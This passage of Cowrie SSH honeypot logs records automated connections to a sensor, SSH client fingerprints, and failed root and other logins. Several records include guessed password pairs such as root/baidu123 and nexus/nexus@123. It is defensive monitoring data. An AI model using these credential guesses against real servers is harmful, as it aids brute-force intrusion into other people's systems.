-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.732756Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:54:e5:79:c9:23:0b:be:78:74:e4:7f:f3:62:3e:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9qBW1SB5+LbPeW7hzkMKHTpOziUQ1zeAS1Sw4zDpsRPI+w35g+aJiwU8mhCrN+LmA14JdM7AHvAw6UpxjfUWH0AYC0Lfd1xDC86/mApdyZrW1B1vYmhH/b4oUjI9csr3tTS4xPFYsO7HpAvyXZhQV5bS9pKdpE4yH07czc7jtHrFZbc/xpGWSfIilAOkOUaLlUgA99ygeRXdlyagESzxUtGkBqAB7OBdMq8Xr13msfba2N7IPsFwECOeFkZJ86PDqi7kyrDqQZ/ULGffaaWXPIjm55+nwF9ghUTIE8YIITQo2EIb/pynbBCxmP3fHaLkNszyYVfkY62f+UJ3r1FDN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:54:e5:79:c9:23:0b:be:78:74:e4:7f:f3:62:3e:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.823098Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:54:e5:79:c9:23:0b:be:78:74:e4:7f:f3:62:3e:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9qBW1SB5+LbPeW7hzkMKHTpOziUQ1zeAS1Sw4zDpsRPI+w35g+aJiwU8mhCrN+LmA14JdM7AHvAw6UpxjfUWH0AYC0Lfd1xDC86/mApdyZrW1B1vYmhH/b4oUjI9csr3tTS4xPFYsO7HpAvyXZhQV5bS9pKdpE4yH07czc7jtHrFZbc/xpGWSfIilAOkOUaLlUgA99ygeRXdlyagESzxUtGkBqAB7OBdMq8Xr13msfba2N7IPsFwECOeFkZJ86PDqi7kyrDqQZ/ULGffaaWXPIjm55+nwF9ghUTIE8YIITQo2EIb/pynbBCxmP3fHaLkNszyYVfkY62f+UJ3r1FDN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.831109Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:5d:73:f0:4a:17:e5:51:7a:ac:78:7b:b0:85:65:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJWA3v4zm/FdlrF0Dwe2HmhlixaMoIhPrZ3ggB0FazIJiW6yMEO7tdnvxwkucMDCEZ7a/ZJ3e7E5SXDxqsF5lPoh8xnUTaM/ne1Cb4FFU3taqW1TVq0ZkAPIgOUKHZ81dW6DHuNgErIqA/h8uL1nbYgGc27g/FT/IMS72o2pK8ktJPjaS3HjM8dK9gEToC0/1tkdHpLfX7NFSNSgE0EQEKUsPH2GXfh6v1YJEa/DVX3rNH7Re2O4Yc4htk+OjBE27LVHDZLei/wqjNApGqK0Db7iYVuTeVDfjIxsf4IPIr2bOKpT/uKfW6FpfVi8PKixnJ9//sVkbXXl7vzTZb31znwRmQgED3eiegsS31mNbndfa7xDatUxr7mXo8A84BqK87FiyZb8rOvDwGggE/96lf3SnVFZn6jJFFWuJBGkaRsykUGsDy2O1CvXoLkZIufZkBv/tgAZS5QLrjoPrOGnxIyqk0fa7nHfYX/zgdkiK9791L7skSV3PMkJ7QSqqO+eDyOMhn9Eh8jq2nOrr9iPoT/3trlKu3muimbvacjxrU2mxdkroreT/t547WZBmWjpgDFxkWY4eITKGXEyM9/t2tzeHBEaXl0xVp4e/ENV5MjvIbv/B+dQ/3HYWiAFpx2A3ox71v/8k0suUZ9NcHYzuQ/ka+2qoi3/DH6arkhZQL+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:5d:73:f0:4a:17:e5:51:7a:ac:78:7b:b0:85:65:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.853694Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:5d:73:f0:4a:17:e5:51:7a:ac:78:7b:b0:85:65:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJWA3v4zm/FdlrF0Dwe2HmhlixaMoIhPrZ3ggB0FazIJiW6yMEO7tdnvxwkucMDCEZ7a/ZJ3e7E5SXDxqsF5lPoh8xnUTaM/ne1Cb4FFU3taqW1TVq0ZkAPIgOUKHZ81dW6DHuNgErIqA/h8uL1nbYgGc27g/FT/IMS72o2pK8ktJPjaS3HjM8dK9gEToC0/1tkdHpLfX7NFSNSgE0EQEKUsPH2GXfh6v1YJEa/DVX3rNH7Re2O4Yc4htk+OjBE27LVHDZLei/wqjNApGqK0Db7iYVuTeVDfjIxsf4IPIr2bOKpT/uKfW6FpfVi8PKixnJ9//sVkbXXl7vzTZb31znwRmQgED3eiegsS31mNbndfa7xDatUxr7mXo8A84BqK87FiyZb8rOvDwGggE/96lf3SnVFZn6jJFFWuJBGkaRsykUGsDy2O1CvXoLkZIufZkBv/tgAZS5QLrjoPrOGnxIyqk0fa7nHfYX/zgdkiK9791L7skSV3PMkJ7QSqqO+eDyOMhn9Eh8jq2nOrr9iPoT/3trlKu3muimbvacjxrU2mxdkroreT/t547WZBmWjpgDFxkWY4eITKGXEyM9/t2tzeHBEaXl0xVp4e/ENV5MjvIbv/B+dQ/3HYWiAFpx2A3ox71v/8k0suUZ9NcHYzuQ/ka+2qoi3/DH6arkhZQL+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.863199Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:65:e3:23:35:22:05:82:3b:f2:85:0d:57:94:03:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV2uizT6gYZynkjM64T9odfVUMYvK8f63xwhPXAzpCc8u2+/K1FaA3L0v31UraDd9ZPIoMheA7eAw4ZEjLHzkVFpghgisvmUg3nfCZaW/Zdd8tuU5iAN+Vj+JPznUbUFlD9SJY7qDSG2uZs5RP5UAW0VOeD18bXRGDB+DKDoL6LUBUTFmE07eOY4UW2FGph6EE2fSBJ41m79Uodw4bnNX0nyP0eSB//uPfIk0ghzWR14Zck00xWYjYnrnqgWWqVuqt0OyqmSr0h8+O70YbfPkambib5/m9MIhbxMYA55ZEmalvhRKdpZAEksxwlqkcfc8i2SzuOzP30VAK6mBrBLIuLa3+qtvXoZUHyOVbN7uOFYzJpenMr+3evrMj0lxB9o4p9uaNhdjMuc+nPpATfEo1J+CFzAYffuM41wIZ0Wh+0bvBYxEZAdbO/nl8KnwiPFKDh/DJEPtx+yLbeuM6LUby/062+UZ54UQmVneTCpHqYYyhxe+TJGQsngRXj9obWbLF4bxvRkayxDUEQKuUkEH/wrlzDElqncWS891Ql9Sx4c0c1iXXrHqZWYyXf9btNw536whLK73UQxXnDKCpdh+lG/u8OTFHsqluIasoc1+APCxoYc/0N2CWfYOnct7QoSPf0UDNK/O5PHSJ+idAr+OM6uOZeu9ApINXgAO5QBEgIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:65:e3:23:35:22:05:82:3b:f2:85:0d:57:94:03:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.888461Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:65:e3:23:35:22:05:82:3b:f2:85:0d:57:94:03:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV2uizT6gYZynkjM64T9odfVUMYvK8f63xwhPXAzpCc8u2+/K1FaA3L0v31UraDd9ZPIoMheA7eAw4ZEjLHzkVFpghgisvmUg3nfCZaW/Zdd8tuU5iAN+Vj+JPznUbUFlD9SJY7qDSG2uZs5RP5UAW0VOeD18bXRGDB+DKDoL6LUBUTFmE07eOY4UW2FGph6EE2fSBJ41m79Uodw4bnNX0nyP0eSB//uPfIk0ghzWR14Zck00xWYjYnrnqgWWqVuqt0OyqmSr0h8+O70YbfPkambib5/m9MIhbxMYA55ZEmalvhRKdpZAEksxwlqkcfc8i2SzuOzP30VAK6mBrBLIuLa3+qtvXoZUHyOVbN7uOFYzJpenMr+3evrMj0lxB9o4p9uaNhdjMuc+nPpATfEo1J+CFzAYffuM41wIZ0Wh+0bvBYxEZAdbO/nl8KnwiPFKDh/DJEPtx+yLbeuM6LUby/062+UZ54UQmVneTCpHqYYyhxe+TJGQsngRXj9obWbLF4bxvRkayxDUEQKuUkEH/wrlzDElqncWS891Ql9Sx4c0c1iXXrHqZWYyXf9btNw536whLK73UQxXnDKCpdh+lG/u8OTFHsqluIasoc1+APCxoYc/0N2CWfYOnct7QoSPf0UDNK/O5PHSJ+idAr+OM6uOZeu9ApINXgAO5QBEgIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.892739Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:c5:3b:45:c1:f8:38:7f:92:6d:1f:25:72:fb:3e:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4nS5Upnmbb/rz2qzWP6d3magr8EDbEL1bFnVHpKgsdKQnOzsEbhaP0MdTFTX8o8brmLk1XIlJ1fGKMpiHXSHQhLsV+Qs9ccARjmm/wELOOpj+lrk7gAXSJ7fswsZ6oHjtShUb7YnevH00DkAVvONSDid4bDtVOVQAA/q1QzomR90B6DhL4mZqmiY8AJ+EaR/QXlH3R8+9K4G1LfuwxwfuQPpLNdYKr8t+k8WWKwcbupZkzalG281JLdd/fiV2yvkeewWUCJhcePXHnXUdNmep0h+pjpf7cHO3kM9CwP70akSnp6kMnGKstzjD0syyaM6B8ZW1/2ta92tfMEaCHE6XrIVvzA1uKKoQDfodmBQcqn9sv/xmVVRnjXhhiEH52sJe/QILvRUG41zqpRn/aPafSJ1OFRyzSoUEt57E6SfM/4P1ouWsyVGS/KbqLEzmWatwkIPpe+Pv8m4eCnzauz+p862WYPoAnMNjsu1DuqIRrYZ5ah5CSOrcytMBIutI1eJh/spZ43A12Mv9i+NN4NltWRWs0KunaInNZSDRbg5zIEKVyw71JYE0+iKF8UpMbDVlh1xhunLRljMiw2CsPRmfN20aBtNL6D2rbV1kSSAASYsuIJS2jovxd5eXMVXpfCE8HVysMKGZ6p8NaM2xpg/BzuXvWw+jd9ls1kZGObVUew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:c5:3b:45:c1:f8:38:7f:92:6d:1f:25:72:fb:3e:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.915855Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:c5:3b:45:c1:f8:38:7f:92:6d:1f:25:72:fb:3e:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4nS5Upnmbb/rz2qzWP6d3magr8EDbEL1bFnVHpKgsdKQnOzsEbhaP0MdTFTX8o8brmLk1XIlJ1fGKMpiHXSHQhLsV+Qs9ccARjmm/wELOOpj+lrk7gAXSJ7fswsZ6oHjtShUb7YnevH00DkAVvONSDid4bDtVOVQAA/q1QzomR90B6DhL4mZqmiY8AJ+EaR/QXlH3R8+9K4G1LfuwxwfuQPpLNdYKr8t+k8WWKwcbupZkzalG281JLdd/fiV2yvkeewWUCJhcePXHnXUdNmep0h+pjpf7cHO3kM9CwP70akSnp6kMnGKstzjD0syyaM6B8ZW1/2ta92tfMEaCHE6XrIVvzA1uKKoQDfodmBQcqn9sv/xmVVRnjXhhiEH52sJe/QILvRUG41zqpRn/aPafSJ1OFRyzSoUEt57E6SfM/4P1ouWsyVGS/KbqLEzmWatwkIPpe+Pv8m4eCnzauz+p862WYPoAnMNjsu1DuqIRrYZ5ah5CSOrcytMBIutI1eJh/spZ43A12Mv9i+NN4NltWRWs0KunaInNZSDRbg5zIEKVyw71JYE0+iKF8UpMbDVlh1xhunLRljMiw2CsPRmfN20aBtNL6D2rbV1kSSAASYsuIJS2jovxd5eXMVXpfCE8HVysMKGZ6p8NaM2xpg/BzuXvWw+jd9ls1kZGObVUew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.920967Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:a6:b1:6c:74:f1:e6:7d:1b:58:88:a2:12:c2:4e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsgXflzyWlsSR84bzelokF/7h5A2ULPi/9hW8L2DSpbZdXVroxJLetgJG4d1hlwlfLiXgbGyFGTqMk/gtHlTuaOpy9b3fBQT/OEb4kjdEPt80pKSCDJegevW5qUh3k0JMWwaKbmMnO7TIVKl01IqJgaFF+4PmRXnEWLZ1ZgWav31+MIb+c7KuoNgJoCBEIgP7UShpLVzsNL2mVLMZFe78nIPLwDVb9by1d0PMy8kKALlPuV1afs46B7WJyNJMMLXczSsCWrqthUYj9gl7zQGz4YaZcY6YbL9GZVJ8LS6UPfbXB7OncV56voXuKZcYIYmSJz6A2fkAMLn6k4XLMug8nLkQSgAj7lKzlg7hjude2Dyji1slAFUUbEChjgde6epJiycQD+KlDozWdlzioDjuXDGoh5u0cTm5agksb2dTgMvEI9oWmcqHFnsd2XgfSRp8IcQrLOxGeRR/8vqLOhfXfEkbE7Sfkb6K+jFnuPXvuCOxVZjCDM7jzflNrzZK6DzUYD4SBQ2egRO9zyoxQaen06xcyRFSUNXa0LYOJ6bXiKOdpcwlshG2gnbSsdxHxYd9CgzUYIFynf9OiE9eud7Adjn0Ly5GS3pFsKkpygP4eFayDWg3H2s/jri8VRMf64/qHiRyzbtdZXqrGNpufb/XEjfRaScaUDHLymNo5NdgaEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:a6:b1:6c:74:f1:e6:7d:1b:58:88:a2:12:c2:4e:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.945642Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:a6:b1:6c:74:f1:e6:7d:1b:58:88:a2:12:c2:4e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsgXflzyWlsSR84bzelokF/7h5A2ULPi/9hW8L2DSpbZdXVroxJLetgJG4d1hlwlfLiXgbGyFGTqMk/gtHlTuaOpy9b3fBQT/OEb4kjdEPt80pKSCDJegevW5qUh3k0JMWwaKbmMnO7TIVKl01IqJgaFF+4PmRXnEWLZ1ZgWav31+MIb+c7KuoNgJoCBEIgP7UShpLVzsNL2mVLMZFe78nIPLwDVb9by1d0PMy8kKALlPuV1afs46B7WJyNJMMLXczSsCWrqthUYj9gl7zQGz4YaZcY6YbL9GZVJ8LS6UPfbXB7OncV56voXuKZcYIYmSJz6A2fkAMLn6k4XLMug8nLkQSgAj7lKzlg7hjude2Dyji1slAFUUbEChjgde6epJiycQD+KlDozWdlzioDjuXDGoh5u0cTm5agksb2dTgMvEI9oWmcqHFnsd2XgfSRp8IcQrLOxGeRR/8vqLOhfXfEkbE7Sfkb6K+jFnuPXvuCOxVZjCDM7jzflNrzZK6DzUYD4SBQ2egRO9zyoxQaen06xcyRFSUNXa0LYOJ6bXiKOdpcwlshG2gnbSsdxHxYd9CgzUYIFynf9OiE9eud7Adjn0Ly5GS3pFsKkpygP4eFayDWg3H2s/jri8VRMf64/qHiRyzbtdZXqrGNpufb/XEjfRaScaUDHLymNo5NdgaEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.950978Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.979801Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":50730,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fd49b9a6d9","protocol":"ssh","message":"New connection: 43.173.83.154:50730 (10.17.0.5:22) [session: 05fd49b9a6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:03.289663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:03.296441Z","src_ip":"43.173.83.154","session":"05fd49b9a6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:03.364717Z","src_ip":"43.173.83.154","session":"05fd49b9a6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baidu123","message":"login attempt [root/baidu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:03.673705Z","src_ip":"43.173.83.154","session":"05fd49b9a6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:04.750269Z","src_ip":"43.173.83.154","session":"05fd49b9a6d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":39360,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f59a1977b57","protocol":"ssh","message":"New connection: 193.32.162.151:39360 (159.203.135.109:22) [session: 9f59a1977b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:06.978682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:06.983972Z","src_ip":"193.32.162.151","session":"9f59a1977b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:07.088568Z","src_ip":"193.32.162.151","session":"9f59a1977b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus@123","message":"login attempt [nexus/nexus@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:07.405225Z","src_ip":"193.32.162.151","session":"9f59a1977b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:08.512751Z","src_ip":"193.32.162.151","session":"9f59a1977b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59684,"dst_ip":"159.203.135.109","dst_port":22,"session":"376fd00e8631","protocol":"ssh","message":"New connection: 109.237.96.109:59684 (159.203.135.109:22) [session: 376fd00e8631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:18.188608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:18.194597Z","src_ip":"109.237.96.109","session":"376fd00e8631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:18.284657Z","src_ip":"109.237.96.109","session":"376fd00e8631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357924680","message":"login attempt [root/1357924680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:18.553852Z","src_ip":"109.237.96.109","session":"376fd00e8631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":36870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a76ef0512e37","protocol":"ssh","message":"New connection: 43.128.112.183:36870 (10.17.0.5:22) [session: a76ef0512e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:18.791512Z"}
